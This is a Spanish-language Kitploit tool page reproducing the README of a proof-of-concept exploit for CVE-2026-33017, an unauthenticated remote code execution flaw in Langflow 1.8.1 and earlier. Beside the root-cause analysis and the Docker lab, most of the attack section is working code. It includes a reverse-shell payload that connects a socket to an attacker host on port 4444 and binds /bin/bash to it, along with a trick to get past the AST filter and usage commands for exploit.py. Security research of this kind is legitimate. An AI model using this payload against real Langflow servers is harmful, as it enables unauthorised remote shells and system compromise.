Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33017 — Exploit PoC para un RCE no autenticado en Langflow <=1.8.1, que incluye análisis de causa raíz a nivel de código fuente, payload de reverse shell consciente del AST, laboratorio Docker, diff del parche y reglas de detección. | Kitploit
Herramientas/GitHubGitHub/lxxexxbxx/cve-2026-33017
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

Exploit PoC para un RCE no autenticado en Langflow <=1.8.1, que incluye análisis de causa raíz a nivel de código fuente, payload de reverse shell consciente del AST, laboratorio Docker, diff del parche y reglas de detección.

Ver Repositorio
1110hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

Aviso legal
Este repositorio se ha creado con fines de investigación y educación en seguridad.
Úselo únicamente en entornos de laboratorio aislados.
Su uso en sistemas no autorizados constituye una infracción de la ley de redes de información y comunicaciones y está sujeto a sanciones penales.


1. Descripción general de la vulnerabilidad

CampoDescripción
CVE IDCVE-2026-33017
Software vulnerableLangflow (constructor de flujos de trabajo de IA)
Versiones afectadasLangflow ≤ 1.8.1
Versión corregidaLangflow ≥ 1.9.0
Tipo de vulnerabilidadUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEVIncluida

2. Análisis de la causa de la vulnerabilidad

2-1. Endpoint vulnerable

POST /api/v1/build_public_tmp/{flow_id}/flow

Es un endpoint destinado a la construcción de flujos públicos (Public flow), diseñado para ser accesible sin autenticación.

2-2. Ruta de ejecución de código (cadena de llamadas)

Ruta de ejecución confirmada mediante el rastreo directo del código fuente:

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← 클라이언트 입력 그대로 수신 (취약점)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← 클라이언트 data 그대로 전달
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 임의 코드 실행

2-3. Filtrado de nodos AST: restricción clave en el diseño del payload

La función prepare_global_scope() no ejecuta todas las sentencias del código enviado. Tras el análisis AST, solo ejecuta tipos de nodo específicos:

# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨

exec(compiled_code, exec_globals)  # definitions만 실행

Tipos de nodo AST ejecutables:

Tipo de nodo ASTEjemplo¿Se ejecuta?
FunctionDefdef _shell(): ...✅ Sí
ClassDefclass ExploitComponent(Component)✅ Sí
Assign_r = os.system("id")✅ Sí
AnnAssign_r: int = os.system("id")✅ Sí
Expros.system("id") (llamada independiente)❌ Se ignora

Conclusión: el payload debe escribirse obligatoriamente como una asignación Assign (_r = ...) para que se ejecute.
Una simple llamada a función (os.system("id")) se clasifica como nodo Expr y queda eliminada por el filtro.

2-4. Proceso de diseño del payload de reverse shell — análisis de intentos y fallos

Durante las pruebas se intentaron varios enfoques de payload y se identificó la causa de cada fallo a nivel de código fuente.

Intento 1 — subprocess.Popen + wait() (fallido)

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← 여기서 블로킹

Causa del fallo: el hilo de trabajo (worker) de Langflow supervisa el valor de retorno del componente y,
al agotarse el tiempo de espera, cierra el socket a la fuerza. El bloqueo de _proc.wait() pierde todo sentido.

Intento 2 — llamada directa a os.execve() (fallido)

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Causa del fallo: según las reglas POSIX, al invocar execve() en un proceso multihilo finalizan
todos los hilos excepto el que realiza la llamada → bloqueo completo del worker de uvicorn → HTTP 500.

Intento 3 — os.fork() + execve() (fallido)

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Causa del fallo: uvicorn detecta que el proceso hijo ha terminado de forma anómala y reinicia el worker → HTTP 500.

Intento 4 — threading.Thread(daemon=True) (fallido)

threading.Thread(target=_shell, daemon=True).start()

Causa del fallo: los hilos con daemon=True se destruyen junto con el hilo principal (worker de Langflow). El hilo muere antes de que se complete la llamada a connect().

Payload final funcional — threading.Thread(daemon=False) + Assign

# FunctionDef → 실행됨
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Motivo de elegir daemon=False:

  • daemon=True → se destruye al terminar el hilo worker de Langflow
  • daemon=False → ciclo de vida independiente del worker → permite mantener la conexión del socket

3. Configuración del entorno de laboratorio

3-1. Estructura de archivos

CVE-2026-33017/
├── README.md
├── Dockerfile              # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker     # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml      # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh           # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py              # 리버스 쉘 PoC
└── poc.py                  # Blind RCE / 취약점 존재 확인

3-2. Puesta en marcha del entorno

# 1. 컨테이너 빌드 및 기동
docker compose up --build

# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!

# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Configuración de red

┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (피해자)  │
│  langflow-attacker   172.19.0.3       (공격자)  │
└──────────────────────────────────────────────────┘

4. Uso del PoC

4-1. exploit.py — reverse shell

Ejecutar dentro del contenedor del atacante:

docker exec -it langflow-attacker bash

# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Opciones:

OpciónDescripciónValor por defecto
--urlURL de Langflow objetivoObligatorio
--lhostIP de callback del reverse shellObligatorio
--lportPuerto de callback del reverse shellObligatorio
--flow-idUUID del flujo público (se genera automáticamente si se omite)Automático
--userID de administradoradmin
--passwordContraseña de administradoradmin123!
--no-listenDesactiva el listener integrado (al usar un nc externo)False
--timeoutTiempo de espera HTTP (segundos)30

Salida esperada:

============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백       : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답  : 200
Descargar herramienta